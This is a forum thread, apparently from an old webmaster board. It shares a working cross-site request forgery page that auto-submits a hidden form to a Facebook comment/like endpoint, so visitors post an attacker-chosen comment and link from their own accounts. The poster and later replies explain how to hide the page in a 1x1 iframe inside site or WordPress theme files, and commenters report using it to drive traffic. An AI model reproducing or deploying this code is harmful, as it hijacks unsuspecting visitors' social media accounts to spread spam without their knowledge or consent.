Status
Not open for further replies.

Loget

Active Member
2,124
2009
732
0
http://www.wjunction.com/showthread.php?t=93538

Although I tried selling it, Lifetalk figured out that it was possible to edit the comment / url so that it works with every site. To add it to your site, just follow the steps below:

Make a new HTML file and put this in it:

(thanks to Salman for making the code easier to read):

Code:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
  <form action="http://www.facebook.com/ajax/connect/external_edge_comment.php?__a=1" target="_self" method="post">
    <input type="hidden" name="comment" value="[COLOR=Red]It's so awesome!!![/COLOR]">
    <input type="hidden" name="connect_text" value="0">
    <input type="hidden" name="edge_type" value="like">
    <input type="hidden" name="fb_dtsg" value="AQCIgEWD">
    <input type="hidden" name="href" value="[COLOR=Green]http://ilovespam.com[/COLOR]">
    <input type="hidden" name="lsd" value="">
    <input type="hidden" name="node_type" value="link">
    <input type="hidden" name="page_id" value="">
    <input type="hidden" name="post_form_id" value="7cc4e3689351c4adb46558539be0e953">
    <input type="hidden" name="post_form_id_source" value="AsyncRequest">
    <input type="hidden" name="story_fbid" value="0">
  </form>
  
<script>
document.forms[0].submit();
</script>
</body>
</html>
Edit the red part to whatever comment you would like the user to say about your site, then edit the green part and replace it with a link to your site.

You should now have all this code in a different HTML file on your site, to call it, just put this code in your index:

Code:
<iframe src="[COLOR=Blue]LinkToYourHTMLFile[/COLOR]" width="1" height="1" />
The link to your HTML file is the location where you put the code.
 
92 comments
Thanks, will give this a try and see how it goes

EDIT: Works perfectly, thanks again.. Now to see the visits flow in :)
 
Last edited:
I had a similar or the same code with me. Can't find where it is right now. But it used to work on the same principle!

Good to see you're sharing it :)
 
Where shall I put this please? in index.php?
Code:
<iframe src="LinkToYourHTMLFile" width="1" height="1" />

I'm using wordpress shall I put it on themes root?
 
Ok a bit of spoon feeding:

Create html file and paste the code into it ... Edit the code as per your needs.

upload the html to your host www or public_html directory.

For wordress users:

Open one of your theme files index.php, footer.php header.php etc ...

and insert this:

Code:
<iframe id="FB" name="FB" style="width:1px; height:1px; border: 0px; background: #FFF" src="[URL="http://www.wjunction.com/view-source:http://www.vevohd.org/facebook.htm"]http://www.yourdomain.com/yourfile.htm[/URL]"></iframe>

make sure to edit the src path to your html file.

Also edit background color unless you want a 1px by 1px white dot wherever you insert the iframe :).

I hope I helped you ..
 
Status
Not open for further replies.
Back
Top